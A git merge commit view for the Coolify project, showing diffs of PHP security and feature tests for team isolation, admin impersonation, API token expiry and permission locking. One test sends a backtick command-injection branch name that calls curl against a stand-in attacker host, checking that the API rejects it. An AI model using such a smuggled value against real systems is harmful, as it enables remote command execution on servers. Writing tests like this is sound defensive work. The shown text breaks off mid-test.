Merge remote-tracking branch 'origin/next' into jean/port-exposes-improvement

This commit is contained in:
Andras Bacsai committed 2026-06-03 10:32:57 +02:00
commit 07f381b88c
766 files changed
+43286 -12686

No files matched your search

+73 -8
View File
@@ -1,9 +1,11 @@
<?php
use App\Livewire\ActivityMonitor;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Exceptions\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
use Spatie\Activitylog\Models\Activity;
@@ -17,7 +19,7 @@ beforeEach(function () {
$this->otherTeam = Team::factory()->create();
});
test('hydrateActivity blocks access to another teams activity', function () {
test('hydrateActivity blocks access to another teams activity via team_id', function () {
$otherActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
@@ -27,12 +29,12 @@ test('hydrateActivity blocks access to another teams activity', function () {
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
$component = Livewire::test(ActivityMonitor::class)
->set('activityId', $otherActivity->id)
Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', $otherActivity->id)
->assertSet('activity', null);
});
test('hydrateActivity allows access to own teams activity', function () {
test('hydrateActivity allows access to own teams activity via team_id', function () {
$ownActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
@@ -43,13 +45,13 @@ test('hydrateActivity allows access to own teams activity', function () {
session(['currentTeam' => ['id' => $this->team->id]]);
$component = Livewire::test(ActivityMonitor::class)
->set('activityId', $ownActivity->id);
->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
expect($component->get('activity')->id)->toBe($ownActivity->id);
});
test('hydrateActivity allows access to activity without team_id in properties', function () {
test('hydrateActivity blocks access to activity without team_id or server_uuid', function () {
$legacyActivity = Activity::create([
'log_name' => 'default',
'description' => 'legacy activity',
@@ -59,9 +61,72 @@ test('hydrateActivity allows access to activity without team_id in properties',
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', $legacyActivity->id)
->assertSet('activity', null);
});
test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () {
$otherServer = Server::factory()->create([
'team_id' => $this->otherTeam->id,
]);
$otherActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
'properties' => ['server_uuid' => $otherServer->uuid],
]);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', $otherActivity->id)
->assertSet('activity', null);
});
test('hydrateActivity allows access to activity from own teams server via server_uuid', function () {
$ownServer = Server::factory()->create([
'team_id' => $this->team->id,
]);
$ownActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
'properties' => ['server_uuid' => $ownServer->uuid],
]);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
$component = Livewire::test(ActivityMonitor::class)
->set('activityId', $legacyActivity->id);
->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
expect($component->get('activity')->id)->toBe($legacyActivity->id);
expect($component->get('activity')->id)->toBe($ownActivity->id);
});
test('hydrateActivity returns null for non-existent activity id', function () {
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', 99999)
->assertSet('activity', null);
});
test('activityId property is locked and cannot be set from client', function () {
$otherActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
'properties' => ['team_id' => $this->otherTeam->id],
]);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
// Attempting to set a #[Locked] property from the client should throw
Livewire::test(ActivityMonitor::class)
->set('activityId', $otherActivity->id)
->assertStatus(500);
})->throws(CannotUpdateLockedPropertyException::class);
@@ -0,0 +1,159 @@
<?php
use App\Livewire\Admin\Index as AdminIndex;
use App\Models\InstanceSettings;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
test('unauthenticated user cannot access admin route', function () {
$response = $this->get('/admin');
$response->assertRedirect('/login');
});
test('authenticated non-root user gets 403 on admin page', function () {
$team = Team::factory()->create();
$user = User::factory()->create();
$team->members()->attach($user->id, ['role' => 'admin']);
$this->actingAs($user);
session(['currentTeam' => ['id' => $team->id]]);
Livewire::test(AdminIndex::class)
->assertForbidden();
});
test('root user can access admin page in cloud mode', function () {
config()->set('constants.coolify.self_hosted', false);
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
$rootUser = User::factory()->create(['id' => 0]);
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
$this->actingAs($rootUser);
session(['currentTeam' => ['id' => $rootTeam->id]]);
Livewire::test(AdminIndex::class)
->assertOk();
});
test('root user gets 403 on admin page in self-hosted non-dev mode', function () {
config()->set('constants.coolify.self_hosted', true);
config()->set('app.env', 'production');
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
$rootUser = User::factory()->create(['id' => 0]);
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
$this->actingAs($rootUser);
session(['currentTeam' => ['id' => $rootTeam->id]]);
Livewire::test(AdminIndex::class)
->assertForbidden();
});
test('submitSearch requires admin authorization', function () {
$team = Team::factory()->create();
$user = User::factory()->create();
$team->members()->attach($user->id, ['role' => 'admin']);
$this->actingAs($user);
session(['currentTeam' => ['id' => $team->id]]);
Livewire::test(AdminIndex::class)
->assertForbidden();
});
test('switchUser requires root user id 0', function () {
config()->set('constants.coolify.self_hosted', false);
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
$rootUser = User::factory()->create(['id' => 0]);
$rootTeam = Team::find(0);
$targetUser = User::factory()->create();
$targetTeam = Team::factory()->create();
$targetTeam->members()->attach($targetUser->id, ['role' => 'admin']);
$this->actingAs($rootUser);
session(['currentTeam' => ['id' => $rootTeam->id]]);
Livewire::test(AdminIndex::class)
->assertOk()
->call('switchUser', $targetUser->id)
->assertRedirect(route('dashboard'));
});
test('back() redirects impersonator to admin index and clears session', function () {
config()->set('constants.coolify.self_hosted', false);
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
$rootUser = User::factory()->create(['id' => 0]);
$rootTeam = Team::find(0);
$this->actingAs($rootUser);
session([
'currentTeam' => ['id' => $rootTeam->id],
'impersonating' => true,
]);
Livewire::test(AdminIndex::class)
->call('back')
->assertRedirect(route('admin.index'));
expect(session('impersonating'))->toBeNull();
});
test('switchUser ignores Referer header and uses dashboard route', function () {
config()->set('constants.coolify.self_hosted', false);
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
$rootUser = User::factory()->create(['id' => 0]);
$rootTeam = Team::find(0);
$targetUser = User::factory()->create();
$targetTeam = Team::factory()->create();
$targetTeam->members()->attach($targetUser->id, ['role' => 'admin']);
$this->actingAs($rootUser);
session(['currentTeam' => ['id' => $rootTeam->id]]);
Livewire::withHeaders(['Referer' => 'https://example.com/elsewhere'])
->test(AdminIndex::class)
->call('switchUser', $targetUser->id)
->assertRedirect(route('dashboard'));
});
test('switchUser rejects non-root user', function () {
config()->set('constants.coolify.self_hosted', false);
$team = Team::factory()->create();
$user = User::factory()->create();
$team->members()->attach($user->id, ['role' => 'admin']);
// Must set impersonating session to bypass mount() check
$this->actingAs($user);
session([
'currentTeam' => ['id' => $team->id],
'impersonating' => true,
]);
Livewire::test(AdminIndex::class)
->call('switchUser', 999)
->assertForbidden();
});
test('admin route has auth middleware applied', function () {
$route = collect(app('router')->getRoutes()->getRoutesByName())
->get('admin.index');
expect($route)->not->toBeNull();
$middleware = $route->gatherMiddleware();
expect($middleware)->toContain('auth');
});
@@ -0,0 +1,89 @@
<?php
use App\Models\Application;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$plainTextToken = Str::random(40);
$token = $this->user->tokens()->create([
'name' => 'git-branch-security-test-'.Str::random(6),
'token' => hash('sha256', $plainTextToken),
'abilities' => ['*'],
'team_id' => $this->team->id,
]);
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
StandaloneDocker::withoutEvents(function () {
$this->destination = $this->server->standaloneDockers()->firstOrCreate(
['network' => 'coolify'],
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
);
});
$this->project = Project::create([
'uuid' => (string) new Cuid2,
'name' => 'test-project',
'team_id' => $this->team->id,
]);
$this->environment = $this->project->environments()->first();
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'git_branch' => 'main',
]);
});
function gitBranchApiHeaders(string $bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
describe('PATCH /api/v1/applications/{uuid} git_branch security', function () {
test('rejects backtick command substitution branch payloads', function () {
$payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``';
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'git_branch' => $payload,
]);
$response->assertUnprocessable()
->assertJsonValidationErrors('git_branch');
expect($this->application->refresh()->git_branch)->toBe('main');
});
test('accepts safe branch names', function () {
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'git_branch' => 'feature/safe-branch_1.2.3',
]);
$response->assertOk();
expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3');
});
});
+344
View File
@@ -0,0 +1,344 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$plainTextToken = Str::random(40);
$token = $this->user->tokens()->create([
'name' => 'railpack-api-test-'.Str::random(6),
'token' => hash('sha256', $plainTextToken),
'abilities' => ['*'],
'team_id' => $this->team->id,
]);
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function railpackApiHeaders(string $bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
function makeRailpackApp(array $overrides = []): Application
{
return Application::factory()->create(array_merge([
'environment_id' => test()->environment->id,
'destination_id' => test()->destination->id,
'destination_type' => test()->destination->getMorphClass(),
'build_pack' => 'railpack',
], $overrides));
}
describe('PATCH /api/v1/applications/{uuid} build_pack=railpack', function () {
test('rejects unsupported build_pack at controller layer', function () {
$app = makeRailpackApp();
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$app->uuid}", [
'build_pack' => 'totally-bogus',
]);
$response->assertStatus(422);
});
test('switching from dockerfile to railpack clears dockerfile fields', function () {
$app = makeRailpackApp([
'build_pack' => 'dockerfile',
'dockerfile' => 'FROM node:20',
'dockerfile_location' => '/Dockerfile',
'dockerfile_target_build' => 'production',
'custom_healthcheck_found' => true,
]);
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$app->uuid}", [
'build_pack' => 'railpack',
]);
$response->assertOk();
$app->refresh();
expect($app->build_pack)->toBe('railpack');
expect($app->dockerfile)->toBeNull();
expect($app->dockerfile_location)->toBeNull();
expect($app->dockerfile_target_build)->toBeNull();
expect((bool) $app->custom_healthcheck_found)->toBeFalse();
});
test('switching from dockercompose to railpack clears compose fields and SERVICE_* envs', function () {
$app = makeRailpackApp([
'build_pack' => 'dockercompose',
'docker_compose_domains' => '{"app": "example.com"}',
'docker_compose_raw' => "version: '3'\nservices:\n app:\n image: nginx",
]);
$app->environment_variables()->createMany([
['key' => 'SERVICE_FQDN_APP', 'value' => 'app.example.com', 'is_buildtime' => false, 'is_preview' => false],
['key' => 'SERVICE_URL_APP', 'value' => 'http://app.example.com', 'is_buildtime' => false, 'is_preview' => false],
['key' => 'REGULAR_VAR', 'value' => 'keep_me', 'is_buildtime' => false, 'is_preview' => false],
]);
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$app->uuid}", [
'build_pack' => 'railpack',
]);
$response->assertOk();
$app->refresh();
expect($app->build_pack)->toBe('railpack');
expect($app->docker_compose_domains)->toBeNull();
expect($app->docker_compose_raw)->toBeNull();
expect($app->environment_variables()->where('key', 'SERVICE_FQDN_APP')->count())->toBe(0);
expect($app->environment_variables()->where('key', 'SERVICE_URL_APP')->count())->toBe(0);
expect($app->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
});
test('install/build/start commands persist for railpack apps', function () {
$app = makeRailpackApp();
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$app->uuid}", [
'install_command' => 'npm ci',
'build_command' => 'npm run build',
'start_command' => 'node server.js',
]);
$response->assertOk();
$app->refresh();
expect($app->install_command)->toBe('npm ci');
expect($app->build_command)->toBe('npm run build');
expect($app->start_command)->toBe('node server.js');
});
});
describe('POST /api/v1/applications/{uuid}/envs RAILPACK_* handling', function () {
test('adding RAILPACK_NODE_VERSION via API surfaces in railpack_environment_variables only', function () {
$app = makeRailpackApp();
$response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'RAILPACK_NODE_VERSION',
'value' => '20',
'is_buildtime' => true,
'is_runtime' => false,
'is_preview' => false,
]);
$response->assertCreated();
$app->refresh();
expect($app->railpack_environment_variables)->toHaveCount(1);
expect($app->railpack_environment_variables->first()->key)->toBe('RAILPACK_NODE_VERSION');
expect($app->runtime_environment_variables->where('key', 'RAILPACK_NODE_VERSION'))->toHaveCount(0);
});
test('runtime envs added via API surface in runtime_environment_variables but not railpack_*', function () {
$app = makeRailpackApp();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'APP_ENV',
'value' => 'production',
'is_runtime' => true,
'is_buildtime' => false,
'is_preview' => false,
])->assertCreated();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'NIXPACKS_NODE_VERSION',
'value' => '18',
'is_buildtime' => true,
'is_runtime' => false,
'is_preview' => false,
])->assertCreated();
$app->refresh();
$runtime = $app->runtime_environment_variables;
expect($runtime->pluck('key')->all())->toBe(['APP_ENV']);
expect($app->railpack_environment_variables)->toHaveCount(0);
});
test('preview RAILPACK_* envs surface in railpack_environment_variables_preview only', function () {
$app = makeRailpackApp();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'RAILPACK_BUILD_CMD',
'value' => 'npm run build',
'is_buildtime' => true,
'is_runtime' => false,
'is_preview' => true,
])->assertCreated();
$app->refresh();
expect($app->railpack_environment_variables_preview)->toHaveCount(1);
expect($app->railpack_environment_variables)->toHaveCount(0);
});
test('buildtime-only env has is_buildtime=true and is_runtime=false', function () {
$app = makeRailpackApp();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'API_KEY',
'value' => 'sekret',
'is_buildtime' => true,
'is_runtime' => false,
'is_preview' => false,
])->assertCreated();
$app->refresh();
$env = $app->environment_variables()->where('key', 'API_KEY')->first();
expect($env)->not->toBeNull();
expect((bool) $env->is_buildtime)->toBeTrue();
expect((bool) $env->is_runtime)->toBeFalse();
// Buildtime-only non-RAILPACK_ var: visible to runtime relation (it's not a buildpack-control var)
// but is_runtime flag is false; consumers gate runtime via is_runtime, not via the relation alone.
expect($env->resourceable_id)->toBe($app->id);
});
test('runtime-only env has is_runtime=true and is_buildtime=false', function () {
$app = makeRailpackApp();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'LOG_LEVEL',
'value' => 'debug',
'is_buildtime' => false,
'is_runtime' => true,
'is_preview' => false,
])->assertCreated();
$app->refresh();
$env = $app->environment_variables()->where('key', 'LOG_LEVEL')->first();
expect((bool) $env->is_buildtime)->toBeFalse();
expect((bool) $env->is_runtime)->toBeTrue();
});
test('railpack build variables collection includes only is_buildtime=true entries', function () {
// Sanity check the underlying query used by the deploy job: railpack_build_variables()
// pulls $application->environment_variables()->where('is_buildtime', true)->get()
// (see ApplicationDeploymentJob::railpack_build_variables).
$app = makeRailpackApp();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'BUILD_ARG',
'value' => 'in-build',
'is_buildtime' => true,
'is_runtime' => false,
'is_preview' => false,
])->assertCreated();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'RUNTIME_ARG',
'value' => 'in-runtime',
'is_buildtime' => false,
'is_runtime' => true,
'is_preview' => false,
])->assertCreated();
$app->refresh();
$buildtime = $app->environment_variables()->where('is_buildtime', true)->pluck('key')->all();
expect($buildtime)->toContain('BUILD_ARG');
expect($buildtime)->not->toContain('RUNTIME_ARG');
});
test('user-defined COOLIFY_FQDN takes precedence over auto-generated', function () {
// Documents generate_coolify_env_variables() override behavior:
// it skips generation when application->environment_variables already has the key.
$app = makeRailpackApp();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'COOLIFY_FQDN',
'value' => 'overridden.example.com',
'is_buildtime' => true,
'is_runtime' => true,
'is_preview' => false,
])->assertCreated();
$app->refresh();
$env = $app->environment_variables()->where('key', 'COOLIFY_FQDN')->first();
expect($env)->not->toBeNull();
expect($env->value)->toBe('overridden.example.com');
// Confirm the model relation used by override-skip logic finds it
expect($app->environment_variables->where('key', 'COOLIFY_FQDN')->isEmpty())->toBeFalse();
});
test('is_literal flag persists on create', function () {
$app = makeRailpackApp();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'RAILPACK_LITERAL_FLAG',
'value' => '$NOT_INTERPOLATED',
'is_buildtime' => true,
'is_runtime' => false,
'is_preview' => false,
'is_literal' => true,
])->assertCreated();
$app->refresh();
$env = $app->environment_variables()->where('key', 'RAILPACK_LITERAL_FLAG')->first();
expect((bool) $env->is_literal)->toBeTrue();
});
test('PATCH env updates buildtime/runtime flags', function () {
$app = makeRailpackApp();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'TOGGLE_VAR',
'value' => 'v1',
'is_buildtime' => true,
'is_runtime' => true,
'is_preview' => false,
])->assertCreated();
$this->withHeaders(railpackApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$app->uuid}/envs", [
'key' => 'TOGGLE_VAR',
'value' => 'v2',
'is_buildtime' => false,
'is_runtime' => true,
'is_multiline' => false,
'is_shown_once' => false,
])->assertStatus(201);
$app->refresh();
$env = $app->environment_variables()->where('key', 'TOGGLE_VAR')->first();
expect($env->value)->toBe('v2');
expect((bool) $env->is_buildtime)->toBeFalse();
expect((bool) $env->is_runtime)->toBeTrue();
});
});
+81
View File
@@ -0,0 +1,81 @@
<?php
use App\Livewire\Security\ApiTokens;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->actingAs($this->user);
});
describe('token creation with expiration', function () {
test('livewire component stores expires_at when expiresInDays set', function () {
Livewire::test(ApiTokens::class)
->set('description', 'test-token')
->set('expiresInDays', 7)
->set('permissions', ['read'])
->call('addNewToken')
->assertHasNoErrors();
$token = $this->user->tokens()->latest()->first();
expect($token)->not->toBeNull()
->and($token->expires_at)->not->toBeNull()
->and($token->expires_at->diffInDays(now()))->toBeGreaterThanOrEqual(6)
->and($token->expires_at->diffInDays(now()))->toBeLessThanOrEqual(7);
});
test('livewire component stores null expires_at when expiresInDays null (Never)', function () {
Livewire::test(ApiTokens::class)
->set('description', 'never-token')
->set('expiresInDays', null)
->set('permissions', ['read'])
->call('addNewToken')
->assertHasNoErrors();
$token = $this->user->tokens()->latest()->first();
expect($token)->not->toBeNull()
->and($token->expires_at)->toBeNull();
});
test('livewire component rejects invalid expiresInDays value', function () {
Livewire::test(ApiTokens::class)
->set('description', 'bad-token')
->set('expiresInDays', 42)
->set('permissions', ['read'])
->call('addNewToken')
->assertHasErrors('expiresInDays');
});
});
describe('expired token rejected on API', function () {
test('request with expired token returns 401', function () {
$token = $this->user->createToken('expired', ['read'], now()->subDay());
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
])->getJson('/api/v1/projects');
$response->assertStatus(401);
});
test('request with non-expired token works', function () {
$token = $this->user->createToken('valid', ['read'], now()->addDay());
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
])->getJson('/api/v1/projects');
$response->assertStatus(200);
});
});
@@ -0,0 +1,130 @@
<?php
use App\Jobs\ApiTokenExpirationWarningJob;
use App\Models\PersonalAccessToken;
use App\Models\Team;
use App\Models\User;
use App\Notifications\ApiTokenExpiringNotification;
use Carbon\Carbon;
use Illuminate\Contracts\Notifications\Dispatcher;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Notification;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->team->emailNotificationSettings()->update(['use_instance_email_settings' => true]);
$this->team->discordNotificationSettings()->update([
'discord_enabled' => true,
'discord_webhook_url' => 'https://discord.com/api/webhooks/fake/fake',
]);
session(['currentTeam' => $this->team]);
$this->actingAs($this->user);
Cache::flush();
Notification::fake();
});
function createTokenExpiring(User $user, Team $team, ?Carbon $expiresAt, ?Carbon $warningSentAt = null): PersonalAccessToken
{
$plain = $user->createToken('t-'.uniqid(), ['read'], $expiresAt);
$token = $plain->accessToken;
$token->team_id = $team->id;
$token->api_token_expiration_warning_sent_at = $warningSentAt;
$token->save();
return $token->fresh();
}
describe('ApiTokenExpirationWarningJob', function () {
test('notifies team when token expires within 24h', function () {
$token = createTokenExpiring($this->user, $this->team, now()->addHours(23));
(new ApiTokenExpirationWarningJob)->handle();
Notification::assertSentTo($this->team, ApiTokenExpiringNotification::class);
expect($token->fresh()->api_token_expiration_warning_sent_at)->not->toBeNull();
});
test('does not mark token as warned when notification fails', function () {
$token = createTokenExpiring($this->user, $this->team, now()->addHours(23));
$dispatcher = Mockery::mock(Dispatcher::class);
$dispatcher->shouldReceive('send')
->once()
->andThrow(new RuntimeException('Notification failed'));
$this->app->instance(Dispatcher::class, $dispatcher);
expect(fn () => (new ApiTokenExpirationWarningJob)->handle())
->toThrow(RuntimeException::class, 'Notification failed');
expect($token->fresh()->api_token_expiration_warning_sent_at)->toBeNull();
});
test('database marker prevents duplicate warnings on repeat runs', function () {
createTokenExpiring($this->user, $this->team, now()->addHours(12));
(new ApiTokenExpirationWarningJob)->handle();
(new ApiTokenExpirationWarningJob)->handle();
Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1);
});
test('database marker prevents duplicate warnings after cache is flushed', function () {
createTokenExpiring($this->user, $this->team, now()->addHours(12));
(new ApiTokenExpirationWarningJob)->handle();
Cache::flush();
(new ApiTokenExpirationWarningJob)->handle();
Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1);
});
test('skips tokens that already have an expiration warning marker', function () {
createTokenExpiring($this->user, $this->team, now()->addHours(12), now()->subHour());
(new ApiTokenExpirationWarningJob)->handle();
Notification::assertNothingSent();
});
test('notifies once for each unmarked expiring token', function () {
createTokenExpiring($this->user, $this->team, now()->addHours(12));
createTokenExpiring($this->user, $this->team, now()->addHours(23));
(new ApiTokenExpirationWarningJob)->handle();
Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 2);
});
test('skips tokens expiring more than 24h out', function () {
createTokenExpiring($this->user, $this->team, now()->addDays(3));
(new ApiTokenExpirationWarningJob)->handle();
Notification::assertNothingSent();
});
test('skips already-expired tokens', function () {
createTokenExpiring($this->user, $this->team, now()->subHour());
(new ApiTokenExpirationWarningJob)->handle();
Notification::assertNothingSent();
});
test('skips tokens with null expires_at', function () {
createTokenExpiring($this->user, $this->team, null);
(new ApiTokenExpirationWarningJob)->handle();
Notification::assertNothingSent();
});
});
@@ -0,0 +1,97 @@
<?php
use App\Livewire\Security\ApiTokens;
use App\Models\InstanceSettings;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Attributes\Locked;
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create([
'id' => 0,
'is_api_enabled' => true,
]));
$this->team = Team::factory()->create();
});
test('api token permission flags are locked', function (string $property) {
$property = new ReflectionProperty(ApiTokens::class, $property);
expect($property->getAttributes(Locked::class))->not->toBeEmpty();
})->with([
'root permission flag' => 'canUseRootPermissions',
'write permission flag' => 'canUseWritePermissions',
]);
test('member cannot tamper with root permission flag', function () {
$member = User::factory()->create();
$this->team->members()->attach($member->id, ['role' => 'member']);
$this->actingAs($member);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('canUseRootPermissions', true);
})->throws(CannotUpdateLockedPropertyException::class);
test('member cannot create root token through tampered permissions payload', function () {
$member = User::factory()->create();
$this->team->members()->attach($member->id, ['role' => 'member']);
$this->actingAs($member);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('description', 'pwned-root-token')
->set('expiresInDays', 30)
->set('permissions', ['root'])
->call('addNewToken');
expect($member->tokens()->count())->toBe(0);
});
test('member can still create read token', function () {
$member = User::factory()->create();
$this->team->members()->attach($member->id, ['role' => 'member']);
$this->actingAs($member);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('description', 'read-token')
->set('expiresInDays', 30)
->set('permissions', ['read'])
->call('addNewToken')
->assertHasNoErrors();
$token = $member->tokens()->latest()->first();
expect($token)->not->toBeNull()
->and($token->abilities)->toBe(['read']);
});
test('owner can create root token', function () {
$owner = User::factory()->create();
$this->team->members()->attach($owner->id, ['role' => 'owner']);
$this->actingAs($owner);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('description', 'root-token')
->set('expiresInDays', 30)
->set('permissions', ['root'])
->call('addNewToken')
->assertHasNoErrors();
$token = $owner->tokens()->latest()->first();
expect($token)->not->toBeNull()
->and($token->abilities)->toBe(['root']);
});
@@ -0,0 +1,128 @@
<?php
use App\Livewire\Security\ApiTokens;
use App\Livewire\Team\Member;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Hash;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::query()->updateOrCreate(
['id' => 0],
['is_api_enabled' => true],
));
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'admin']);
session(['currentTeam' => $this->team]);
});
function bearerJson(string $token): array
{
return [
'Authorization' => 'Bearer '.$token,
'Content-Type' => 'application/json',
];
}
test('removed member token cannot read team projects', function () {
Project::create(['name' => 'Secret', 'team_id' => $this->team->id]);
$token = $this->user->createToken('read-token', ['read'])->plainTextToken;
$this->team->members()->detach($this->user->id);
$this->withHeaders(bearerJson($token))
->getJson('/api/v1/projects')
->assertUnauthorized();
});
test('removed member token cannot create team projects', function () {
$token = $this->user->createToken('write-token', ['write'])->plainTextToken;
$this->team->members()->detach($this->user->id);
$this->withHeaders(bearerJson($token))
->postJson('/api/v1/projects', ['name' => 'Should Not Exist'])
->assertUnauthorized();
expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse();
});
test('downgraded member old write token cannot create team projects', function () {
$token = $this->user->createToken('write-token', ['write'])->plainTextToken;
$this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
$this->withHeaders(bearerJson($token))
->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass'])
->assertForbidden();
